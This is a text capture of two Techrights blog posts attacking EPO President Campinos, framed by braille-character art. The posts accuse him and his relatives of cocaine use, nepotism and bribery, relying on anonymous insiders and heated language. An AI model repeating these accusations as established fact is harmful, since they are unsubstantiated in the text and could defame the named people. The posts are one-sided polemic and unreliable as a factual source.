⣠⣤⣴⣿⣿⣿⣿⣦⣜⢿⣿⣿⡇⢈⠹⡟⡉⠏⢝⠎⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣷⣷⣿⣶⣿⣾⣾⣿⣾⣾⣿⣼⣿⠀⠂⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠃⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⣴⣶⣿⣆⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠈⢏⠛⣻⢿⣿⣿⣿⣿⣿⠃⠀⠉⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠄⠀⠀⠀⠀⢀⢤⣰⠿⠿⠿⢿⡄⠀⡜⠀⠀⠀⠀⠀⠠⠀⠀⠐⠂ ⠈⠀⠀⠀⠂⢸⠿⠻⣿⠃⠀⠀⠀⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣿⠿⢿⣿⣿⣿⣷⡆⠀⠀⠀⠐⠛⠁⠀⠀⣀⣼⣿⠀⢡⣤⣤⣤⣄⣆⣀⣀⠀⠀⠀ ⠀⠀⠠⣤⣴⠄⠔⠀⠀⠀⠀⢀⣠⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡆⠀⠀⠀⣻⣿⣿⣿⣿⣿⡆⠀⡀⢰⣿⣤⣦⣴⣾⣿⣿⡆⠘⢿⣿⣿⣿⣿⣿⣿⣷⣄⠀ ⠀⠀⡠⠉⠉⠃⠀⠈⠻⢿⣿⣿⣿⣿⣿⣯⣉⣈⡩⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠛⢛⣛⣛⣀⣶⣿⣿⣿⣿⣿⣿⡁⠈⠁⠠⣿⣿⡏⡍⠉⠉⠿⠁⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⡆ ⠀⠐⠀⠀⠀⠀⠀⠀⠀⠀⠉⠻⢿⣿⣿⣿⣿⣿⣿⣆⣹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⡇⠠⡀⠀⠉⠁⠀⠀⠀⠀⠀⠀⣠⠀⢸⣿⣿⣻⣿⣿⠿⣿⠁ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⣿⣿⣿⣿⡿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⣿⣿⣿⣷⠀⠀⠀⠀⠀⠀⠀⣾⡟⣰⣮⣿⣿⣿⣿⡟⢚⢿⡇ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠋⠉⠁⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⣦⣤⣶⣿⣿⣿⣿⣿⣿⣿⣧⣤⣤⣄⡀⠀⠞⢁⣴⣿⣿⣿⠿⣿⣿⠁⠀⠘⠃ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⣀⣴⣾⣿⣿⣿⣿⣿⠿⣋⣴⣿⣿⢉⠉⠀⠛⠛⠡⠾⠿⠿⠚⠐⢺⣿⣟⠋⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣯⣿⣿⣿⣿⣇⣀⣠⣶⣿⣿⣿⣿⣿⣿⢿⢃⣤⣾⣿⣿⣿⡿⠒⠐⢂⡀⠀⠀⠀⠁⠉⠻⠦⠔⠄⠏⠀⠀⠀⡀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠀⠐⠁⠀⠩⣿⣿⣿⣿⣯⢸⣿⣿⣿⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⣋⣤⣾⣿⣿⣿⣿⠛⠋⠐⢍⡭⠡⠄⠀⠀⠀⠀⠀⠀⠨⠴⣟⠀⠀⠀⠀⠃⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡄⠀⣶⣘⣿⣿⣆⠀⠐⢄⠀⠘⣿⣿⣿⣿⠴⣿⣿⡿⠈⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠛⣋⣵⣷⣄⠀⠀⠑⠂⠀⠊⠁⠀⠀⠀⢀⢐⢈⠹⠓⠀⠐⢒⠢⠀ ⠀⠈⠀⠀⠀⠀⠀⠀⠀⠲⢶⣶⣶⣶⣾⣷⡖⣿⣿⣿⣿⣿⡄⠀⠑⠁⠀⠙⢿⣿⣾⠈⠼⠙⠁⢰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣋⣤⣾⣿⣿⢿⣿⡄⠀⠀⠀⠠⠄⠀⢀⡠⠔⣿⣿⣿⣿⣯⢤⣤⣼⣦⣾ ⢑⢦⠀⠀⠀⢀⠀⠀⠀⠀⠉⠀⠀⣭⣭⣭⣽⢹⣿⣿⣿⣿⣧⠀⠀⠀⠀⠀⠈⣿⣿⣀⠈⢀⣀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⢛⣻⣿⣿⣿⣿⣿⣵⣿⣿⠇⠀⠀⠀⢈⡠⠬⠉⣂⠭⠛⣿⣿⣿⣾⣿⣿⣾⣿⣿ ⠐⢕⣗⢄⠀⠀⠐⠡⡀⠀⠀⠀⢄⠈⠙⢻⣿⣮⣿⣿⣿⣿⣿⣇⠀⠀⠀⠀⠀⣿⣿⡟⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠋⠀⠀⠀⠀⠀⢶⣦⣴⣲⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷ ⣠⣀⣽⣿⣷⡀⠀⠀⠂⡪⠀⡀⠀⠈⠲⢄⠙⢿⣿⣿⣿⣿⣿⣿⡀⠀⣴⣤⡀⠹⣿⡇⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⢛⣩⣶⣾⣿⣿⣿⠟⠋⠁⠀⠀⠀⢀⠀⣀⢄⠀⠚⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣦⡀⠀⠀⠊⠈⢤⠀⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣷⡌⢿⣿⢿⡄⠹⣣⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢋⣡⣶⣿⣿⣿⠋⠐⠋⠉⡡⠀⠀⠀⡄⢤⣄⣀⠲⣬⣀⠀⠀⠀⠀⠙⠻⣿⣿⣿⣿⣿⢿⣿⣿⣿ ⣬⣙⠿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠎⠀⠀⠀⠀⠀⠉⠻⢿⣿⣿⣿⣷⣤⣷⣿⡿⣲⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⠿⢿⡿⠋⠁⠀⠀⠀⠀⠁⢀⢀⠩⣖⠸⣾⣿⣿⣧⣴⣿⡗⠀⠀⠀⠀⠀⠀⠉⠙⠛⠶⠾⠿⠿⠿ ⣿⣿⣿⣾⣿⣿⡿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢿⣿⣿⣿⣿⣻⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣏⡀⠀⠀⠀⠀⠀⠀⠐⠀⠀⠀⠆⠀⠑⢬⣷⣿⣿⣿⣿⣿⣿⣿⣦⣘⡀⢀⠶⣄⣤⣀⡀⣀⡀⠀⣀⣠ ⠛⢛⣛⣻⣿⠿⣿⣿⡻⢿⣿⣿⣿⣦⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⣿⣿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠀⠀⠈⣻⣿⣷⣿⣿⢽⡿⢿⣿⣿⣷⣔⣎⣿⣿⣿⢽⣿⣾⣟⣿⣿ ䷩ 𝚕𝚒𝚗𝚎 4441 ╒═══════════════════ 𝐀𝐑𝐓𝐈𝐂𝐋𝐄 ═════════════════════════════════════════════════╕ (ℹ) Images, hyperlinks and comments at https://techrights.org/n/2026/05/12/The_Corrupt_Lecture_the_Non_Corrupt_Part_XX_EPO_Management_s_Un.shtml Gemini version at gemini://gemini.techrights.org/n/2026/05/12/The_Corrupt_Lecture_the_Non_Corrupt_Part_XX_EPO_Management_s_Un.gmi ⠀⌧ █▇▆▅▄▃▂▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁ The Corrupt Lecture the Non-Corrupt - Part XX - EPO Management's Unified (One) Voice or Policy is, Doing Cocaine is OK When You're a Friend and/or Family of President Campinos⠀▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▂▃▄▅▆▇█ ⌧ posted by Roy Schestowitz on May 12, 2026, updated May 12, 2026 🄸🄼🄰🄶🄴 🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇Serving one Office⦈ At the EPO, workers are not allowed to express an opinion (in public anyway) which deviates from what President Campinos decides, even when President Campinos decides that doing cocaine is OK and all sorts of corruption are perfectly fine as long as that's beneficial to President Campinos, a millionaire owing to his political connections and nothing else (Campinos has hardly any experience in patents and he's not a good manager either). Last month President Campinos brought back to the Office the cocaine addict whose sister sleeps with him (and now tries to become "friends" with me in a failed bid to silence me). Can staff talk about this? No. Can the union inform the media? Not really. See, it's kind of like in Moscow. The most 'treasonous' crime is embarrassing the king, President Campinos. He refers to himself as "the f---ing president" (having the guts to use such language says a lot about his sense of privilege and impunity). "Then more importantly," one insider tells us, "the f---ing president" unconditionally protects his "brother-in-law" whom he gave an EPO job (after the father of this "brother-in-law" arranged for him a top role in Alicante's EUIPO, a producer of SLAPPs, according to what journalists told me). This does not seem like the workings of functioning democracies with accountability, oversight and so on. It's a_dictatorship_with_microaggression. In the coming few parts we'll discuss the personal hurt suffered by the colleagues at the EPO. While "the f---ing president" was trafficking a bunch of drug addicts into the EPO staff was receiving abuse from them. How long can that be considered sustainable? Trafficking_the_drug_addicts_between_departments with a salary of about 300,000 euros per year won't solve the issue. The management needs_to_resign_to_save the_Office. █ * Technology_Not_Meant_to_Last * GitLab_the_Latest_Company_to_Do_Mass_Layoffs_and_Use_Slop_as_the_Go-to Excuse_(GitLab_Users_Should_Worry_Too) ⡟⠛⠛⠉⠉⢹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣟⣛⣟⣻⣛⣟⣟⣛⣻⣿⣿ ⣇⣀⣀⣀⣀⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣯⣦⣿⣾⣿⣿⣿⣿⣿⣷⣾⣷⣶⣼⣽⣧⣷⣿⣾⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⢙⠝⣿⠂⢻⠐⣿⠛⢝⣿⣽⢹⡛⡟⣿⠛⢝⣿⣿⣿⣿⣿⣿⣿⣿⣝⠟⣿⣻⢟⢺⡟⠫⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠀ ⣿⣿⣿⣶⣿⣾⣶⣷⣶⣿⣦⣤⣿⣾⣾⣿⣾⣿⣦⣤⣿⣿⣿⡿⣿⣿⣿⣿⣷⣿⣾⣿⣾⡾⢷⢄⣜⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣸⣐⣿⣁⣟⣨⣃⣸⣐⣹⣇⣸⣂⣊⣿⣿⣿⣿⢟⣽⣿⣿⣿⣿⣿⣜⣀⣇⣘⣿⣜⣣⣸⣿⣠⣻⣓⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢟⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣋⣵⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⣫⣾⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣭⣯⣭⣯⣹⣭⣭⣭⣯⣭⣭⣹⣭⣯⣍⣭⣭⣍⣽⣭⣭⣿⣿⣿⣿⣭⣭⣭⡭⢽⣭⣯⣍⣭⣭⣭⣭⣽⣭⣭⣩⣭⣭⣭⣽⣽⣭⣝⣹⣾⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣒⣖⣲⣒⣓⣒⣒⣒⣒⣓⣒⣓⣒⡚⣒⣒⣞⣖⣒⣖⣚⣓⣲⣿⡿⠒⠳⠒⠗⠒⢖⣒⣒⣒⣒⣒⣒⣒⣖⣓⣺⣒⣲⣓⣗⣒⣒⣛⣻⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⠢⢶⠴⠾⡶⢤⠐⡷⢼⢷⠦⡠⡾⠗⠴⡷⡼⡿⠾⠥⠆⠦⠦⣼⣿⠴⠴⡴⠾⠤⠶⡿⠶⠺⢴⠤⠴⢼⢼⠶⢿⠦⠷⠿⡧⠔⢷⣦⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⠭⠭⢽⠭⢭⡭⠭⠭⡭⠽⠽⡭⣭⠽⠭⠯⠭⠯⠭⠭⢭⣭⣭⣽⣿⢭⡭⢽⠭⡽⠭⢭⢭⠯⠯⠭⠭⢯⠭⡭⡭⠭⢭⡭⢭⠭⠽⠭⣽⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣋⣛⣛⣛⣛⣋⣓⣛⣟⣛⣛⣛⣟⣛⣋⣟⣒⣛⣟⣛⣿⣿⣿⣿⣿⣛⣛⣛⣟⣛⣛⣛⣞⣛⣛⣗⣛⣻⣓⣛⣛⣛⣛⣻⣋⣛⣛⣛⣻⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣛⣛⣛⣛⣻⣛⣛⣛⣛⣟⣛⣛⣟⣛⣛⣛⣻⣟⣛⣟⢛⣛⣻⣿⣿⣻⣟⣿⣛⣛⡛⣟⣛⣛⣛⣟⣻⣛⣻⣻⣛⣛⣻⣛⣛⣛⣛⢻⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⠽⠽⠥⠯⡭⢥⠭⣽⢽⠭⠭⠽⡭⡭⠯⠿⠭⠭⠧⢭⠿⣿⣿⣿⣿⣿⡿⠭⠧⣽⣽⣽⣭⣭⣽⣭⣥⣮⣷⣭⣯⣽⣥⣽⣿⣮⣭⣯⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣭⡯⣭⢯⡍⣭⡭⣭⣭⡭⣭⣭⣽⣽⣭⣭⣽⣭⢭⣭⣯⣭⣿⣿⣿⣽⣯⣭⢭⢭⢭⣽⢍⣭⣭⣩⣭⣭⣭⣯⣩⣭⣭⢭⣭⣭⣿⣭⣽⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣚⣒⣒⣖⣒⣒⣖⣒⣒⣂⣐⣚⣒⣚⣚⣒⣓⣚⣒⣒⣓⣾⣿⣿⣿⣻⣗⣓⣖⣒⣒⣚⣒⣒⣒⣛⣖⣒⣒⣓⣳⣒⣒⣚⣒⣒⣒⣚⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⠶⠲⠶⠾⡶⠶⠦⡶⡶⡶⡧⠖⠾⡶⠶⢶⡳⠷⢶⢴⢶⣿⣿⣿⣿⣿⣿⣶⣷⣶⣶⣶⣶⣷⣶⣶⣶⣶⣶⣾⣶⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⠭⠭⡭⠯⡽⠌⡭⡭⠭⠽⠭⠬⡽⠽⠭⠭⠭⠯⡽⠭⠭⠭⠿⣿⣿⢭⠭⠭⠭⠭⠭⠭⢭⠭⢭⠭⠭⠽⠽⠭⡽⡭⠭⠯⢭⢭⠭⡭⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣓⣗⣛⣹⣙⣻⡑⣙⣻⣛⣟⣛⣙⣛⣟⣞⣹⣏⣍⣻⣺⣻⣹⣿⣿⣫⣙⣏⣙⣋⣛⣿⣛⣻⡛⣖⣟⣙⣙⣟⣛⣻⣛⣛⣛⣋⣻⣻⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡽⣿⣿⣿⣿⣯⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⣶⣶⣶⣶⣶⣶⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶ ⣿⣿⣿⠛⡿⠿⢿⠿⠿⡿⠿⠿⠿⢿⠿⠿⠿⠿⢿⡿⣿⢿⢿⠿⢿⡿⠿⠿⠿⢿⠿⢿⠿⠿⠿⢿⠿⠿⢿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⢿⠿⠿⡿⠿⠿⠿⠿⠿⠿⢿⠿⣿⠿⠿⡿⣿⣿⣿⣿⡿⠿⠿⣿⠿⣿ ䷩ 𝚕𝚒𝚗𝚎 4529 ╒═══════════════════ 𝐀𝐑𝐓𝐈𝐂𝐋𝐄 ═════════════════════════════════════════════════╕ (ℹ) Images, hyperlinks and comments at https://techrights.org/n/2026/05/12/The_Corrupt_Lecture_the_Non_Corrupt_Part_XXI_EPO_President_Camp.shtml Gemini version at gemini://gemini.techrights.org/n/2026/05/12/The_Corrupt_Lecture_the_Non_Corrupt_Part_XXI_EPO_President_Camp.gmi ⠀⌧ █▇▆▅▄▃▂▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁ The Corrupt Lecture the Non-Corrupt - Part XXI - EPO President Campinos Bribing to Buy His Seat, But Cautions Staff Against Bribery⠀▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▂▃▄▅▆▇█ ⌧ posted by Roy Schestowitz on May 12, 2026 No kidding, in their own words: 🄸🄼🄰🄶🄴 🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇Doing business at EPO fairly⦈ Not only does the EPO's President (Campinos) plunder the Office. He brings family members to do the same; while they do cocaine. This is Europe's second-largest institution. It's an institution in which the previous president bribed the people who appointed him (with gifts) and the current president just hands them vast amounts of cash in order to keep himself in power. This isn't a democratic institution; but then again, the people who do cocaine don't even get democratic ideas when they sober up. The next few parts will explain what cocaine addicts in the Office (running this organisation) do to colleagues, set aside a_complete_lack_of_democratic oversight. How much in terms of scandals will it take bribed delegations (and delegates) to say "enough is enough"? Or decide that complicity is no_longer worth the money? █ 🄸🄼🄰🄶🄴 🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇Antonio Campino⦈ * IBM_Lost_Nearly_33%_in_"Value"_in_3_Months_(Shares_Down_$100),_But_Nobody Held_Accountable * SLAPP_Censorship_-_Part_75_Out_of_200:_All_True,_All_Verifiable,_Unlike Garrett_and_Graveley_Lying_to_at_Least_Three_High_Court_Judges_About_What They_Did ⡇⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⢿⢿⠿⡿⠿⣿⡿⠿⠿⠯⣯⠯⠼⢼⡵⢿⠮⠵⢿⣿ ⣧⣤⣤⣤⣤⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⠿⢿⣿⣿⣿⣿⣿⡿⣿⣿⣿⡿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿ ⣿⣿⣿⣸⣫⣒⣿⣰⣗⣼⣇⣾⣘⣧⣇⣰⣇⣼⣼⣜⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣫⣿⣿⢿⡿⢷⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣴⣿⣾⣗⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⡶⠦⠶⠾⠒⠶⡶⠾⠖⡷⢞⠶⠶⢶⠲⠲⠶⠗⣾⠶⠶⠶⠗⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⠭⠽⠯⠭⡽⠭⠭⠭⢭⠭⠭⢭⣭⣭⣿⣭⣯⣭⣭⣭⣭⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 